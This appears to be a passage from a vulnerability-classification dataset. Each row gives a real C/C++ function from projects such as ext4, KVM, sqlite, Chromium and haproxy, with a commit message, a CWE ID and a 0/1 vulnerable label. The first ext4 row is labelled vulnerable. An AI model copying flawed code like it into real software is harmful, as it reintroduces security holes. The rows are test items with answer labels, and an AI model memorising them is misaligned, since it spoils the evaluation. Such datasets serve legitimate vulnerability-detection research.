/* Do not put uninitialized extent in the cache */
if (!ext4_ext_is_uninitialized(ex)) {
ext4_ext_put_in_cache(inode, ee_block,
ee_len, ee_start,
EXT4_EXT_CACHE_EXTENT);
goto out;
}
ret = ext4_ext_handle_uninitialized_extents(handle,
inode, iblock, max_blocks, path,
flags, allocated, bh_result, newblock);
return ret;
}
}
/*
* requested block isn't allocated yet;
* we couldn't try to create block if create flag is zero
*/
if ((flags & EXT4_GET_BLOCKS_CREATE) == 0) {
/*
* put just found gap into cache to speed up
* subsequent requests
*/
ext4_ext_put_gap_in_cache(inode, path, iblock);
goto out2;
}
/*
* Okay, we need to do block allocation.
*/
/* find neighbour allocated blocks */
ar.lleft = iblock;
err = ext4_ext_search_left(inode, path, &ar.lleft, &ar.pleft);
if (err)
goto out2;
ar.lright = iblock;
err = ext4_ext_search_right(inode, path, &ar.lright, &ar.pright);
if (err)
goto out2;
/*
* See if request is beyond maximum number of blocks we can have in
* a single extent. For an initialized extent this limit is
* EXT_INIT_MAX_LEN and for an uninitialized extent this limit is
* EXT_UNINIT_MAX_LEN.
*/
if (max_blocks > EXT_INIT_MAX_LEN &&
!(flags & EXT4_GET_BLOCKS_UNINIT_EXT))
max_blocks = EXT_INIT_MAX_LEN;
else if (max_blocks > EXT_UNINIT_MAX_LEN &&
(flags & EXT4_GET_BLOCKS_UNINIT_EXT))
max_blocks = EXT_UNINIT_MAX_LEN;
/* Check if we can really insert (iblock)::(iblock+max_blocks) extent */
newex.ee_block = cpu_to_le32(iblock);
newex.ee_len = cpu_to_le16(max_blocks);
err = ext4_ext_check_overlap(inode, &newex, path);
if (err)
allocated = ext4_ext_get_actual_len(&newex);
else
allocated = max_blocks;
/* allocate new block */
ar.inode = inode;
ar.goal = ext4_ext_find_goal(inode, path, iblock);
ar.logical = iblock;
ar.len = allocated;
if (S_ISREG(inode->i_mode))
ar.flags = EXT4_MB_HINT_DATA;
else
/* disable in-core preallocation for non-regular files */
ar.flags = 0;
newblock = ext4_mb_new_blocks(handle, &ar, &err);
if (!newblock)
goto out2;
ext_debug("allocate new block: goal %llu, found %llu/%u\n",
ar.goal, newblock, allocated);
/* try to insert new extent into found leaf and return */
ext4_ext_store_pblock(&newex, newblock);
newex.ee_len = cpu_to_le16(ar.len);
/* Mark uninitialized */
if (flags & EXT4_GET_BLOCKS_UNINIT_EXT){
ext4_ext_mark_uninitialized(&newex);
/*
* io_end structure was created for every async
* direct IO write to the middle of the file.
* To avoid unecessary convertion for every aio dio rewrite
* to the mid of file, here we flag the IO that is really
* need the convertion.
* For non asycn direct IO case, flag the inode state
* that we need to perform convertion when IO is done.
*/
if (flags == EXT4_GET_BLOCKS_PRE_IO) {
if (io)
io->flag = EXT4_IO_UNWRITTEN;
else
ext4_set_inode_state(inode,
EXT4_STATE_DIO_UNWRITTEN);
}
}
if (unlikely(EXT4_I(inode)->i_flags & EXT4_EOFBLOCKS_FL)) {
if (eh->eh_entries) {
last_ex = EXT_LAST_EXTENT(eh);
if (iblock + ar.len > le32_to_cpu(last_ex->ee_block)
+ ext4_ext_get_actual_len(last_ex))
EXT4_I(inode)->i_flags &= ~EXT4_EOFBLOCKS_FL;
} else {
WARN_ON(eh->eh_entries == 0);
ext4_error(inode->i_sb, __func__,
"inode#%lu, eh->eh_entries = 0!", inode->i_ino);
}
}
err = ext4_ext_insert_extent(handle, inode, path, &newex, flags);
if (err) {
/* free data blocks we just allocated */
/* not a good idea to call discard here directly,
* but otherwise we'd need to call it every free() */
ext4_discard_preallocations(inode);
ext4_free_blocks(handle, inode, 0, ext_pblock(&newex),
ext4_ext_get_actual_len(&newex), 0);
goto out2;
}
/* previous routine could use block we allocated */
newblock = ext_pblock(&newex);
allocated = ext4_ext_get_actual_len(&newex);
if (allocated > max_blocks)
allocated = max_blocks;
set_buffer_new(bh_result);
/*
* Update reserved blocks/metadata blocks after successful
* block allocation which had been deferred till now.
*/
if (flags & EXT4_GET_BLOCKS_DELALLOC_RESERVE)
ext4_da_update_reserve_space(inode, allocated, 1);
/*
* Cache the extent and update transaction to commit on fdatasync only
* when it is _not_ an uninitialized extent.
*/
if ((flags & EXT4_GET_BLOCKS_UNINIT_EXT) == 0) {
ext4_ext_put_in_cache(inode, iblock, allocated, newblock,
EXT4_EXT_CACHE_EXTENT);
ext4_update_inode_fsync_trans(handle, inode, 1);
} else
ext4_update_inode_fsync_trans(handle, inode, 0);
out:
if (allocated > max_blocks)
allocated = max_blocks;
ext4_ext_show_leaf(inode, path);
set_buffer_mapped(bh_result);
bh_result->b_bdev = inode->i_sb->s_bdev;
bh_result->b_blocknr = newblock;
out2:
if (path) {
ext4_ext_drop_refs(path);
kfree(path);
}
return err ? err : allocated;
}
Commit Message: ext4: use ext4_get_block_write in buffer write
Allocate uninitialized extent before ext4 buffer write and
convert the extent to initialized after io completes.
The purpose is to make sure an extent can only be marked
initialized after it has been written with new data so
we can safely drop the i_mutex lock in ext4 DIO read without
exposing stale data. This helps to improve multi-thread DIO
read performance on high-speed disks.
Skip the nobh and data=journal mount cases to make things simple for now.
Signed-off-by: Jiaying Zhang <jiayingz@google.com>
Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
CWE ID: | 1 | 167,536 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: T3FontCache::T3FontCache(Ref *fontIDA, double m11A, double m12A,
double m21A, double m22A,
int glyphXA, int glyphYA, int glyphWA, int glyphHA,
GBool validBBoxA, GBool aa) {
int i;
fontID = *fontIDA;
m11 = m11A;
m12 = m12A;
m21 = m21A;
m22 = m22A;
glyphX = glyphXA;
glyphY = glyphYA;
glyphW = glyphWA;
glyphH = glyphHA;
validBBox = validBBoxA;
if (aa) {
glyphSize = glyphW * glyphH;
} else {
glyphSize = ((glyphW + 7) >> 3) * glyphH;
}
cacheAssoc = 8;
if (glyphSize <= 256) {
cacheSets = 8;
} else if (glyphSize <= 512) {
cacheSets = 4;
} else if (glyphSize <= 1024) {
cacheSets = 2;
} else if (glyphSize <= 2048) {
cacheSets = 1;
cacheAssoc = 4;
} else if (glyphSize <= 4096) {
cacheSets = 1;
cacheAssoc = 2;
} else {
cacheSets = 1;
cacheAssoc = 1;
}
if (glyphSize < 10485760 / cacheAssoc / cacheSets) {
cacheData = (Guchar *)gmallocn_checkoverflow(cacheSets * cacheAssoc, glyphSize);
} else {
error(-1, "Not creating cacheData for T3FontCache, it asked for too much memory.\n"
" This could teoretically result in wrong rendering,\n"
" but most probably the document is bogus.\n"
" Please report a bug if you think the rendering may be wrong because of this.");
cacheData = NULL;
}
if (cacheData != NULL)
{
cacheTags = (T3FontCacheTag *)gmallocn(cacheSets * cacheAssoc,
sizeof(T3FontCacheTag));
for (i = 0; i < cacheSets * cacheAssoc; ++i) {
cacheTags[i].mru = i & (cacheAssoc - 1);
}
}
else
{
cacheTags = NULL;
}
}
Commit Message:
CWE ID: CWE-189 | 0 | 818 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int read_segment_descriptor(struct x86_emulate_ctxt *ctxt,
u16 selector, struct desc_struct *desc,
ulong *desc_addr_p)
{
struct desc_ptr dt;
u16 index = selector >> 3;
ulong addr;
get_descriptor_table_ptr(ctxt, selector, &dt);
if (dt.size < index * 8 + 7)
return emulate_gp(ctxt, selector & 0xfffc);
*desc_addr_p = addr = dt.address + index * 8;
return ctxt->ops->read_std(ctxt, addr, desc, sizeof *desc,
&ctxt->exception);
}
Commit Message: KVM: emulate: avoid accessing NULL ctxt->memopp
A failure to decode the instruction can cause a NULL pointer access.
This is fixed simply by moving the "done" label as close as possible
to the return.
This fixes CVE-2014-8481.
Reported-by: Andy Lutomirski <luto@amacapital.net>
Cc: stable@vger.kernel.org
Fixes: 41061cdb98a0bec464278b4db8e894a3121671f5
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-399 | 0 | 35,590 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int veth_open(struct net_device *dev)
{
struct veth_priv *priv;
priv = netdev_priv(dev);
if (priv->peer == NULL)
return -ENOTCONN;
if (priv->peer->flags & IFF_UP) {
netif_carrier_on(dev);
netif_carrier_on(priv->peer);
}
return 0;
}
Commit Message: net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared
After the last patch, We are left in a state in which only drivers calling
ether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real
hardware call ether_setup for their net_devices and don't hold any state in
their skbs. There are a handful of drivers that violate this assumption of
course, and need to be fixed up. This patch identifies those drivers, and marks
them as not being able to support the safe transmission of skbs by clearning the
IFF_TX_SKB_SHARING flag in priv_flags
Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
CC: Karsten Keil <isdn@linux-pingi.de>
CC: "David S. Miller" <davem@davemloft.net>
CC: Jay Vosburgh <fubar@us.ibm.com>
CC: Andy Gospodarek <andy@greyhouse.net>
CC: Patrick McHardy <kaber@trash.net>
CC: Krzysztof Halasa <khc@pm.waw.pl>
CC: "John W. Linville" <linville@tuxdriver.com>
CC: Greg Kroah-Hartman <gregkh@suse.de>
CC: Marcel Holtmann <marcel@holtmann.org>
CC: Johannes Berg <johannes@sipsolutions.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-264 | 0 | 23,900 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void computeLimitRegisters(Parse *pParse, Select *p, int iBreak){
Vdbe *v = 0;
int iLimit = 0;
int iOffset;
int n;
if( p->iLimit ) return;
/*
** "LIMIT -1" always shows all rows. There is some
** controversy about what the correct behavior should be.
** The current implementation interprets "LIMIT 0" to mean
** no rows.
*/
sqlite3ExprCacheClear(pParse);
assert( p->pOffset==0 || p->pLimit!=0 );
if( p->pLimit ){
p->iLimit = iLimit = ++pParse->nMem;
v = sqlite3GetVdbe(pParse);
assert( v!=0 );
if( sqlite3ExprIsInteger(p->pLimit, &n) ){
sqlite3VdbeAddOp2(v, OP_Integer, n, iLimit);
VdbeComment((v, "LIMIT counter"));
if( n==0 ){
sqlite3VdbeGoto(v, iBreak);
}else if( n>=0 && p->nSelectRow>sqlite3LogEst((u64)n) ){
p->nSelectRow = sqlite3LogEst((u64)n);
p->selFlags |= SF_FixedLimit;
}
}else{
sqlite3ExprCode(pParse, p->pLimit, iLimit);
sqlite3VdbeAddOp1(v, OP_MustBeInt, iLimit); VdbeCoverage(v);
VdbeComment((v, "LIMIT counter"));
sqlite3VdbeAddOp2(v, OP_IfNot, iLimit, iBreak); VdbeCoverage(v);
}
if( p->pOffset ){
p->iOffset = iOffset = ++pParse->nMem;
pParse->nMem++; /* Allocate an extra register for limit+offset */
sqlite3ExprCode(pParse, p->pOffset, iOffset);
sqlite3VdbeAddOp1(v, OP_MustBeInt, iOffset); VdbeCoverage(v);
VdbeComment((v, "OFFSET counter"));
sqlite3VdbeAddOp3(v, OP_OffsetLimit, iLimit, iOffset+1, iOffset);
VdbeComment((v, "LIMIT+OFFSET"));
}
}
}
Commit Message: sqlite: safely move pointer values through SQL.
This lands https://www.sqlite.org/src/timeline?c=d6a44b35 in
third_party/sqlite/src/ and
third_party/sqlite/patches/0013-Add-new-interfaces-sqlite3_bind_pointer-sqlite3_resu.patch
and re-generates third_party/sqlite/amalgamation/* using the script at
third_party/sqlite/google_generate_amalgamation.sh.
The CL also adds a layout test that verifies the patch works as intended.
BUG=742407
Change-Id: I2e1a457459cd2e975e6241b630e7b79c82545981
Reviewed-on: https://chromium-review.googlesource.com/572976
Reviewed-by: Chris Mumford <cmumford@chromium.org>
Commit-Queue: Victor Costan <pwnall@chromium.org>
Cr-Commit-Position: refs/heads/master@{#487275}
CWE ID: CWE-119 | 0 | 136,435 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ar6000_sysfs_bmi_get_config(struct ar6_softc *ar, u32 mode)
{
AR_DEBUG_PRINTF(ATH_DEBUG_INFO,("BMI: Requesting device specific configuration\n"));
if (mode == WLAN_INIT_MODE_UDEV) {
char version[16];
const struct firmware *fw_entry;
/* Get config using udev through a script in user space */
sprintf(version, "%2.2x", ar->arVersion.target_ver);
if ((A_REQUEST_FIRMWARE(&fw_entry, version, ((struct device *)ar->osDevInfo.pOSDevice))) != 0)
{
AR_DEBUG_PRINTF(ATH_DEBUG_ERR, ("BMI: Failure to get configuration for target version: %s\n", version));
return A_ERROR;
}
A_RELEASE_FIRMWARE(fw_entry);
} else {
/* The config is contained within the driver itself */
int status;
u32 param, options, sleep, address;
/* Temporarily disable system sleep */
address = MBOX_BASE_ADDRESS + LOCAL_SCRATCH_ADDRESS;
bmifn(BMIReadSOCRegister(ar->arHifDevice, address, ¶m));
options = param;
param |= AR6K_OPTION_SLEEP_DISABLE;
bmifn(BMIWriteSOCRegister(ar->arHifDevice, address, param));
address = RTC_BASE_ADDRESS + SYSTEM_SLEEP_ADDRESS;
bmifn(BMIReadSOCRegister(ar->arHifDevice, address, ¶m));
sleep = param;
param |= WLAN_SYSTEM_SLEEP_DISABLE_SET(1);
bmifn(BMIWriteSOCRegister(ar->arHifDevice, address, param));
AR_DEBUG_PRINTF(ATH_DEBUG_INFO, ("old options: %d, old sleep: %d\n", options, sleep));
if (ar->arTargetType == TARGET_TYPE_AR6003) {
/* Program analog PLL register */
bmifn(BMIWriteSOCRegister(ar->arHifDevice, ANALOG_INTF_BASE_ADDRESS + 0x284, 0xF9104001));
/* Run at 80/88MHz by default */
param = CPU_CLOCK_STANDARD_SET(1);
} else {
/* Run at 40/44MHz by default */
param = CPU_CLOCK_STANDARD_SET(0);
}
address = RTC_BASE_ADDRESS + CPU_CLOCK_ADDRESS;
bmifn(BMIWriteSOCRegister(ar->arHifDevice, address, param));
param = 0;
if (ar->arTargetType == TARGET_TYPE_AR6002) {
bmifn(BMIReadMemory(ar->arHifDevice, HOST_INTEREST_ITEM_ADDRESS(ar, hi_ext_clk_detected), (u8 *)¶m, 4));
}
/* LPO_CAL.ENABLE = 1 if no external clk is detected */
if (param != 1) {
address = RTC_BASE_ADDRESS + LPO_CAL_ADDRESS;
param = LPO_CAL_ENABLE_SET(1);
bmifn(BMIWriteSOCRegister(ar->arHifDevice, address, param));
}
/* Venus2.0: Lower SDIO pad drive strength,
* temporary WAR to avoid SDIO CRC error */
if (ar->arVersion.target_ver == AR6003_REV2_VERSION) {
AR_DEBUG_PRINTF(ATH_DEBUG_ERR, ("AR6K: Temporary WAR to avoid SDIO CRC error\n"));
param = 0x20;
address = GPIO_BASE_ADDRESS + GPIO_PIN10_ADDRESS;
bmifn(BMIWriteSOCRegister(ar->arHifDevice, address, param));
address = GPIO_BASE_ADDRESS + GPIO_PIN11_ADDRESS;
bmifn(BMIWriteSOCRegister(ar->arHifDevice, address, param));
address = GPIO_BASE_ADDRESS + GPIO_PIN12_ADDRESS;
bmifn(BMIWriteSOCRegister(ar->arHifDevice, address, param));
address = GPIO_BASE_ADDRESS + GPIO_PIN13_ADDRESS;
bmifn(BMIWriteSOCRegister(ar->arHifDevice, address, param));
}
#ifdef FORCE_INTERNAL_CLOCK
/* Ignore external clock, if any, and force use of internal clock */
if (ar->arTargetType == TARGET_TYPE_AR6003) {
/* hi_ext_clk_detected = 0 */
param = 0;
bmifn(BMIWriteMemory(ar->arHifDevice, HOST_INTEREST_ITEM_ADDRESS(ar, hi_ext_clk_detected), (u8 *)¶m, 4));
/* CLOCK_CONTROL &= ~LF_CLK32 */
address = RTC_BASE_ADDRESS + CLOCK_CONTROL_ADDRESS;
bmifn(BMIReadSOCRegister(ar->arHifDevice, address, ¶m));
param &= (~CLOCK_CONTROL_LF_CLK32_SET(1));
bmifn(BMIWriteSOCRegister(ar->arHifDevice, address, param));
}
#endif /* FORCE_INTERNAL_CLOCK */
/* Transfer Board Data from Target EEPROM to Target RAM */
if (ar->arTargetType == TARGET_TYPE_AR6003) {
/* Determine where in Target RAM to write Board Data */
bmifn(BMIReadMemory(ar->arHifDevice, HOST_INTEREST_ITEM_ADDRESS(ar, hi_board_data), (u8 *)&address, 4));
AR_DEBUG_PRINTF(ATH_DEBUG_INFO, ("Board Data download address: 0x%x\n", address));
/* Write EEPROM data to Target RAM */
if ((ar6000_transfer_bin_file(ar, AR6K_BOARD_DATA_FILE, address, false)) != 0) {
return A_ERROR;
}
/* Record the fact that Board Data IS initialized */
param = 1;
bmifn(BMIWriteMemory(ar->arHifDevice, HOST_INTEREST_ITEM_ADDRESS(ar, hi_board_data_initialized), (u8 *)¶m, 4));
/* Transfer One time Programmable data */
AR6K_APP_LOAD_ADDRESS(address, ar->arVersion.target_ver);
if (ar->arVersion.target_ver == AR6003_REV3_VERSION)
address = 0x1234;
status = ar6000_transfer_bin_file(ar, AR6K_OTP_FILE, address, true);
if (status == 0) {
/* Execute the OTP code */
param = 0;
AR6K_APP_START_OVERRIDE_ADDRESS(address, ar->arVersion.target_ver);
bmifn(BMIExecute(ar->arHifDevice, address, ¶m));
} else if (status != A_ENOENT) {
return A_ERROR;
}
} else {
AR_DEBUG_PRINTF(ATH_DEBUG_ERR, ("Programming of board data for chip %d not supported\n", ar->arTargetType));
return A_ERROR;
}
/* Download Target firmware */
AR6K_APP_LOAD_ADDRESS(address, ar->arVersion.target_ver);
if (ar->arVersion.target_ver == AR6003_REV3_VERSION)
address = 0x1234;
if ((ar6000_transfer_bin_file(ar, AR6K_FIRMWARE_FILE, address, true)) != 0) {
return A_ERROR;
}
/* Set starting address for firmware */
AR6K_APP_START_OVERRIDE_ADDRESS(address, ar->arVersion.target_ver);
bmifn(BMISetAppStart(ar->arHifDevice, address));
if(ar->arTargetType == TARGET_TYPE_AR6003) {
AR6K_DATASET_PATCH_ADDRESS(address, ar->arVersion.target_ver);
if ((ar6000_transfer_bin_file(ar, AR6K_PATCH_FILE,
address, false)) != 0)
return A_ERROR;
param = address;
bmifn(BMIWriteMemory(ar->arHifDevice,
HOST_INTEREST_ITEM_ADDRESS(ar, hi_dset_list_head),
(unsigned char *)¶m, 4));
}
/* Restore system sleep */
address = RTC_BASE_ADDRESS + SYSTEM_SLEEP_ADDRESS;
bmifn(BMIWriteSOCRegister(ar->arHifDevice, address, sleep));
address = MBOX_BASE_ADDRESS + LOCAL_SCRATCH_ADDRESS;
param = options | 0x20;
bmifn(BMIWriteSOCRegister(ar->arHifDevice, address, param));
if (ar->arTargetType == TARGET_TYPE_AR6003) {
/* Configure GPIO AR6003 UART */
#ifndef CONFIG_AR600x_DEBUG_UART_TX_PIN
#define CONFIG_AR600x_DEBUG_UART_TX_PIN 8
#endif
param = CONFIG_AR600x_DEBUG_UART_TX_PIN;
bmifn(BMIWriteMemory(ar->arHifDevice, HOST_INTEREST_ITEM_ADDRESS(ar, hi_dbg_uart_txpin), (u8 *)¶m, 4));
#if (CONFIG_AR600x_DEBUG_UART_TX_PIN == 23)
{
address = GPIO_BASE_ADDRESS + CLOCK_GPIO_ADDRESS;
bmifn(BMIReadSOCRegister(ar->arHifDevice, address, ¶m));
param |= CLOCK_GPIO_BT_CLK_OUT_EN_SET(1);
bmifn(BMIWriteSOCRegister(ar->arHifDevice, address, param));
}
#endif
/* Configure GPIO for BT Reset */
#ifdef ATH6KL_CONFIG_GPIO_BT_RESET
#define CONFIG_AR600x_BT_RESET_PIN 0x16
param = CONFIG_AR600x_BT_RESET_PIN;
bmifn(BMIWriteMemory(ar->arHifDevice, HOST_INTEREST_ITEM_ADDRESS(ar, hi_hci_uart_support_pins), (u8 *)¶m, 4));
#endif /* ATH6KL_CONFIG_GPIO_BT_RESET */
/* Configure UART flow control polarity */
#ifndef CONFIG_ATH6KL_BT_UART_FC_POLARITY
#define CONFIG_ATH6KL_BT_UART_FC_POLARITY 0
#endif
#if (CONFIG_ATH6KL_BT_UART_FC_POLARITY == 1)
if (ar->arVersion.target_ver == AR6003_REV2_VERSION) {
param = ((CONFIG_ATH6KL_BT_UART_FC_POLARITY << 1) & 0x2);
bmifn(BMIWriteMemory(ar->arHifDevice, HOST_INTEREST_ITEM_ADDRESS(ar, hi_hci_uart_pwr_mgmt_params), (u8 *)¶m, 4));
}
#endif /* CONFIG_ATH6KL_BT_UART_FC_POLARITY */
}
#ifdef HTC_RAW_INTERFACE
if (!eppingtest && bypasswmi) {
/* Don't run BMIDone for ART mode and force resetok=0 */
resetok = 0;
msleep(1000);
}
#endif /* HTC_RAW_INTERFACE */
}
return 0;
}
Commit Message: net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared
After the last patch, We are left in a state in which only drivers calling
ether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real
hardware call ether_setup for their net_devices and don't hold any state in
their skbs. There are a handful of drivers that violate this assumption of
course, and need to be fixed up. This patch identifies those drivers, and marks
them as not being able to support the safe transmission of skbs by clearning the
IFF_TX_SKB_SHARING flag in priv_flags
Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
CC: Karsten Keil <isdn@linux-pingi.de>
CC: "David S. Miller" <davem@davemloft.net>
CC: Jay Vosburgh <fubar@us.ibm.com>
CC: Andy Gospodarek <andy@greyhouse.net>
CC: Patrick McHardy <kaber@trash.net>
CC: Krzysztof Halasa <khc@pm.waw.pl>
CC: "John W. Linville" <linville@tuxdriver.com>
CC: Greg Kroah-Hartman <gregkh@suse.de>
CC: Marcel Holtmann <marcel@holtmann.org>
CC: Johannes Berg <johannes@sipsolutions.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-264 | 0 | 24,227 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: usage( char* execname )
{
fprintf( stderr, "\n" );
fprintf( stderr, "ftgrid: simple glyph grid viewer -- part of the FreeType project\n" );
fprintf( stderr, "-----------------------------------------------------------\n" );
fprintf( stderr, "\n" );
fprintf( stderr, "Usage: %s [status below] ppem fontname[.ttf|.ttc] ...\n",
execname );
fprintf( stderr, "\n" );
fprintf( stderr, " -r R use resolution R dpi (default: 72 dpi)\n" );
fprintf( stderr, " -f index specify first index to display\n" );
fprintf( stderr, "\n" );
exit( 1 );
}
Commit Message:
CWE ID: CWE-119 | 0 | 10,026 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void SpeechRecognitionManagerImpl::MediaRequestPermissionCallback(
int session_id,
const MediaStreamDevices& devices,
std::unique_ptr<MediaStreamUIProxy> stream_ui) {
DCHECK_CURRENTLY_ON(BrowserThread::IO);
auto iter = sessions_.find(session_id);
if (iter == sessions_.end())
return;
bool is_allowed = !devices.empty();
if (is_allowed) {
iter->second->context.devices = devices;
iter->second->ui = std::move(stream_ui);
}
iter->second->context.label.clear();
RecognitionAllowedCallback(iter->first, false, is_allowed);
}
Commit Message: Make MediaStreamDispatcherHost per-request instead of per-frame.
Instead of having RenderFrameHost own a single MSDH to handle all
requests from a frame, MSDH objects will be owned by a strong binding.
A consequence of this is that an additional requester ID is added to
requests to MediaStreamManager, so that an MSDH is able to cancel only
requests generated by it.
In practice, MSDH will continue to be per frame in most cases since
each frame normally makes a single request for an MSDH object.
This fixes a lifetime issue caused by the IO thread executing tasks
after the RenderFrameHost dies.
Drive-by: Fix some minor lint issues.
Bug: 912520
Change-Id: I52742ffc98b9fc57ce8e6f5093a61aed86d3e516
Reviewed-on: https://chromium-review.googlesource.com/c/1369799
Reviewed-by: Emircan Uysaler <emircan@chromium.org>
Reviewed-by: Ken Buchanan <kenrb@chromium.org>
Reviewed-by: Olga Sharonova <olka@chromium.org>
Commit-Queue: Guido Urdaneta <guidou@chromium.org>
Cr-Commit-Position: refs/heads/master@{#616347}
CWE ID: CWE-189 | 0 | 153,302 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void DiskCacheBackendTest::BackendDisable2() {
EXPECT_EQ(8, cache_->GetEntryCount());
disk_cache::Entry* entry;
std::unique_ptr<TestIterator> iter = CreateIterator();
int count = 0;
while (iter->OpenNextEntry(&entry) == net::OK) {
ASSERT_TRUE(NULL != entry);
entry->Close();
count++;
ASSERT_LT(count, 9);
};
FlushQueueForTest();
EXPECT_EQ(0, cache_->GetEntryCount());
}
Commit Message: Blockfile cache: fix long-standing sparse + evict reentrancy problem
Thanks to nedwilliamson@ (on gmail) for an alternative perspective
plus a reduction to make fixing this much easier.
Bug: 826626, 518908, 537063, 802886
Change-Id: Ibfa01416f9a8e7f7b361e4f93b4b6b134728b85f
Reviewed-on: https://chromium-review.googlesource.com/985052
Reviewed-by: Matt Menke <mmenke@chromium.org>
Commit-Queue: Maks Orlovich <morlovich@chromium.org>
Cr-Commit-Position: refs/heads/master@{#547103}
CWE ID: CWE-20 | 0 | 147,145 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void http_resync_states(struct stream *s)
{
struct http_txn *txn = s->txn;
#ifdef DEBUG_FULL
int old_req_state = txn->req.msg_state;
int old_res_state = txn->rsp.msg_state;
#endif
http_sync_req_state(s);
while (1) {
if (!http_sync_res_state(s))
break;
if (!http_sync_req_state(s))
break;
}
DPRINTF(stderr,"[%u] %s: stream=%p old=%s,%s cur=%s,%s "
"req->analysers=0x%08x res->analysers=0x%08x\n",
now_ms, __FUNCTION__, s,
h1_msg_state_str(old_req_state), h1_msg_state_str(old_res_state),
h1_msg_state_str(txn->req.msg_state), h1_msg_state_str(txn->rsp.msg_state),
s->req.analysers, s->res.analysers);
/* OK, both state machines agree on a compatible state.
* There are a few cases we're interested in :
* - HTTP_MSG_CLOSED on both sides means we've reached the end in both
* directions, so let's simply disable both analysers.
* - HTTP_MSG_CLOSED on the response only or HTTP_MSG_ERROR on either
* means we must abort the request.
* - HTTP_MSG_TUNNEL on either means we have to disable analyser on
* corresponding channel.
* - HTTP_MSG_DONE or HTTP_MSG_CLOSED on the request and HTTP_MSG_DONE
* on the response with server-close mode means we've completed one
* request and we must re-initialize the server connection.
*/
if (txn->req.msg_state == HTTP_MSG_CLOSED &&
txn->rsp.msg_state == HTTP_MSG_CLOSED) {
s->req.analysers &= AN_REQ_FLT_END;
channel_auto_close(&s->req);
channel_auto_read(&s->req);
s->res.analysers &= AN_RES_FLT_END;
channel_auto_close(&s->res);
channel_auto_read(&s->res);
}
else if (txn->rsp.msg_state == HTTP_MSG_CLOSED ||
txn->rsp.msg_state == HTTP_MSG_ERROR ||
txn->req.msg_state == HTTP_MSG_ERROR) {
s->res.analysers &= AN_RES_FLT_END;
channel_auto_close(&s->res);
channel_auto_read(&s->res);
s->req.analysers &= AN_REQ_FLT_END;
channel_abort(&s->req);
channel_auto_close(&s->req);
channel_auto_read(&s->req);
channel_truncate(&s->req);
}
else if (txn->req.msg_state == HTTP_MSG_TUNNEL ||
txn->rsp.msg_state == HTTP_MSG_TUNNEL) {
if (txn->req.msg_state == HTTP_MSG_TUNNEL) {
s->req.analysers &= AN_REQ_FLT_END;
if (HAS_REQ_DATA_FILTERS(s))
s->req.analysers |= AN_REQ_FLT_XFER_DATA;
}
if (txn->rsp.msg_state == HTTP_MSG_TUNNEL) {
s->res.analysers &= AN_RES_FLT_END;
if (HAS_RSP_DATA_FILTERS(s))
s->res.analysers |= AN_RES_FLT_XFER_DATA;
}
channel_auto_close(&s->req);
channel_auto_read(&s->req);
channel_auto_close(&s->res);
channel_auto_read(&s->res);
}
else if ((txn->req.msg_state == HTTP_MSG_DONE ||
txn->req.msg_state == HTTP_MSG_CLOSED) &&
txn->rsp.msg_state == HTTP_MSG_DONE &&
((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_SCL ||
(txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_KAL)) {
/* server-close/keep-alive: terminate this transaction,
* possibly killing the server connection and reinitialize
* a fresh-new transaction, but only once we're sure there's
* enough room in the request and response buffer to process
* another request. They must not hold any pending output data
* and the response buffer must realigned
* (realign is done is http_end_txn_clean_session).
*/
if (s->req.buf->o)
s->req.flags |= CF_WAKE_WRITE;
else if (s->res.buf->o)
s->res.flags |= CF_WAKE_WRITE;
else {
s->req.analysers = AN_REQ_FLT_END;
s->res.analysers = AN_RES_FLT_END;
txn->flags |= TX_WAIT_CLEANUP;
}
}
}
Commit Message:
CWE ID: CWE-200 | 0 | 6,852 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void RunExtremalCheck() {
ACMRandom rnd(ACMRandom::DeterministicSeed());
int max_error = 0;
int total_error = 0;
const int count_test_block = 100000;
DECLARE_ALIGNED_ARRAY(16, int16_t, test_input_block, 64);
DECLARE_ALIGNED_ARRAY(16, int16_t, test_temp_block, 64);
DECLARE_ALIGNED_ARRAY(16, uint8_t, dst, 64);
DECLARE_ALIGNED_ARRAY(16, uint8_t, src, 64);
for (int i = 0; i < count_test_block; ++i) {
for (int j = 0; j < 64; ++j) {
src[j] = rnd.Rand8() % 2 ? 255 : 0;
dst[j] = src[j] > 0 ? 0 : 255;
test_input_block[j] = src[j] - dst[j];
}
REGISTER_STATE_CHECK(
RunFwdTxfm(test_input_block, test_temp_block, pitch_));
REGISTER_STATE_CHECK(
RunInvTxfm(test_temp_block, dst, pitch_));
for (int j = 0; j < 64; ++j) {
const int diff = dst[j] - src[j];
const int error = diff * diff;
if (max_error < error)
max_error = error;
total_error += error;
}
EXPECT_GE(1, max_error)
<< "Error: Extremal 8x8 FDCT/IDCT or FHT/IHT has"
<< "an individual roundtrip error > 1";
